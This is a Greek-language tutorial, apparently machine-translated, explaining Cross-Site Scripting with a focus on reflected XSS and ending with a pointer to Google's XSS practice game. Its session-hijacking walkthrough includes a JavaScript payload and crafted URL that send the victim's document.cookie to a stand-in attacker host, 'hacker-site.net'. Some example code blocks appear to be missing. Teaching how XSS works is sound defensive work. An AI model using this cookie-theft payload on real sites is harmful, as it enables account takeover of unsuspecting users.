Τι είναι η δέσμη ενεργειών μεταξύ τοποθεσιών;
Το Cross-Site Scripting (XSS) είναι μια από τις πιο δημοφιλείς τεχνικές επίθεσης σήμερα, γνωστή ως Godfather of Attack, και εδώ και πολλά χρόνια αναφέρεται ως η πιο επικίνδυνη τεχνική επίθεσης για εφαρμογές web.
Μην το ονομάζετε για συντομία CSS για να αποφύγετε τη σύγχυση με την έννοια του Cascading Style Sheet του HTML.
Η τεχνική
XSS βασίζεται στην εισαγωγή επικίνδυνων σεναρίων στον πηγαίο κώδικα της εφαρμογής Ιστού. Για την εκτέλεση κακόβουλου κώδικα Javascript για την ανάληψη της περιόδου σύνδεσης του χρήστη.
Για να καταλάβουμε καλύτερα, ας εξετάσουμε το ακόλουθο παράδειγμα. Μια εφαρμογή Ιστού που επιτρέπει την εκτύπωση της τιμής που μεταβιβάζουμε μέσω της διεύθυνσης URL, υποθέτοντας ότι μεταβιβάζουμε στη μεταβλητή ονόματος την τιμή Ping:

Όλα είναι καλά μέχρι στιγμής, ας εξετάσουμε τον πηγαίο κώδικα html:

Αυτό που είναι εύκολο να διαπιστωθεί είναι ότι η τιμή του ονόματος που πληκτρολογήσαμε έχει εισαχθεί στον πηγαίο κώδικα. Άρα είναι πιθανό να μπαίνει και ό,τι εισάγεται. Το πρόβλημα γίνεται σοβαρό εάν η τιμή που εισάγεται δεν είναι μια κανονική συμβολοσειρά όπως παραπάνω, αλλά ένα δυνητικά επικίνδυνο κομμάτι κώδικα, κάτι σαν αυτό:
Δοκιμάστε ξανά με την παραπάνω τιμή:

Από αυτό το παράδειγμα μπορούμε να συμπεράνουμε δύο πράγματα. Πρώτον, η μεταβλητή ονόματος μπορεί να λάβει οποιαδήποτε τιμή εισόδου και να τη μεταδώσει στον διακομιστή για επεξεργασία. Δεύτερον, ο διακομιστής δεν έλεγχε αυτήν την τιμή εισόδου πριν την επιστρέψει στο πρόγραμμα περιήγησης. Αυτό οδηγεί στην εισαγωγή του κώδικα javascript στον πηγαίο κώδικα.
Το XSS γενικά χωρίζεται σε 3 βασικούς τύπους: Reflected, Stored και DOM based. Σε αυτό το άρθρο θα αναφέρω κυρίως την τεχνική Reflected XSS.
Έως και το 75% των τεχνικών XSS βασίζονται στο Reflected XSS. Ονομάζεται αντανακλάται επειδή σε αυτόν τον τύπο σεναρίου εκμετάλλευσης, ο χάκερ πρέπει να στείλει στο θύμα μια διεύθυνση URL που περιέχει κακόβουλο κώδικα (συνήθως javascript). Το θύμα χρειάζεται μόνο να ζητήσει αυτήν τη διεύθυνση URL και ο χάκερ θα λάβει αμέσως μια απάντηση που περιέχει το επιθυμητό αποτέλεσμα (ανακλαστικότητα φαίνεται εδώ). Επιπλέον, είναι επίσης γνωστό ως πρώτης τάξης XSS.
Πραγματικό σενάριο εξόρυξης
Υπάρχουν πολλοί τρόποι για να εκμεταλλευτείτε το σφάλμα Reflected XSS, ένας από τους πιο γνωστούς τρόπους είναι να αναλάβετε τη συνεδρία του χρήστη, αποκτώντας έτσι τα δεδομένα και αποκτώντας τα δικαιώματά του στον ιστότοπο.
Οι λεπτομέρειες περιγράφονται στα ακόλουθα βήματα:

1. Ο χρήστης συνδέεται στον ιστό και υποθέτει ότι έχει εκχωρηθεί μια περίοδος λειτουργίας:
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
2. Με κάποιο τρόπο, ο χάκερ στέλνει στον χρήστη τη διεύθυνση URL:
http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;
Ας υποθέσουμε ότι το example.com είναι ο ιστότοπος που επισκέπτεται το θύμα, το hacker-site.net είναι ο ιστότοπος που δημιουργήθηκε από τον χάκερ
3. Το θύμα αποκτά πρόσβαση στην παραπάνω διεύθυνση URL
4. Ο διακομιστής απαντά στο θύμα, μαζί με τα δεδομένα που περιέχονται στο αίτημα (απόσπασμα javascript του χάκερ)
5. Το πρόγραμμα περιήγησης-θύμα λαμβάνει την απάντηση και εκτελεί το javascript
6. Η πραγματική javascript που δημιούργησε ο χάκερ είναι η εξής:
var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
Η παραπάνω γραμμή εντολών ουσιαστικά κάνει ένα αίτημα στον ιστότοπο του χάκερ με την παράμετρο να είναι το cookie χρήστη:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net
7. Από τον ιστότοπό σας, ο χάκερ θα πιάσει το παραπάνω περιεχόμενο αιτήματος και θα θεωρήσει ότι η συνεδρία του χρήστη έχει αναληφθεί. Σε αυτό το σημείο, ο χάκερ μπορεί να υποδυθεί το θύμα και να ασκήσει όλα τα δικαιώματα στον ιστότοπο που έχει το θύμα.
Πρακτική
Η Google έχει δημιουργήσει μια σελίδα για την εξάσκηση στην εκμετάλλευση σφαλμάτων XSS εδώ: https://xss-game.appspot.com
Ο στόχος αυτών των προκλήσεων είναι ότι πρέπει να εισάγετε σενάρια για να εμφανιστεί ένα αναδυόμενο παράθυρο. Η πρώτη πρόκληση είναι να επεξηγηθεί η ανακλώμενη τεχνική, ο κώδικας εκμετάλλευσης είναι αρκετά απλός:
https://xss-game.appspot.com/level1/frame?query=alert('pwned')
Καλή τύχη!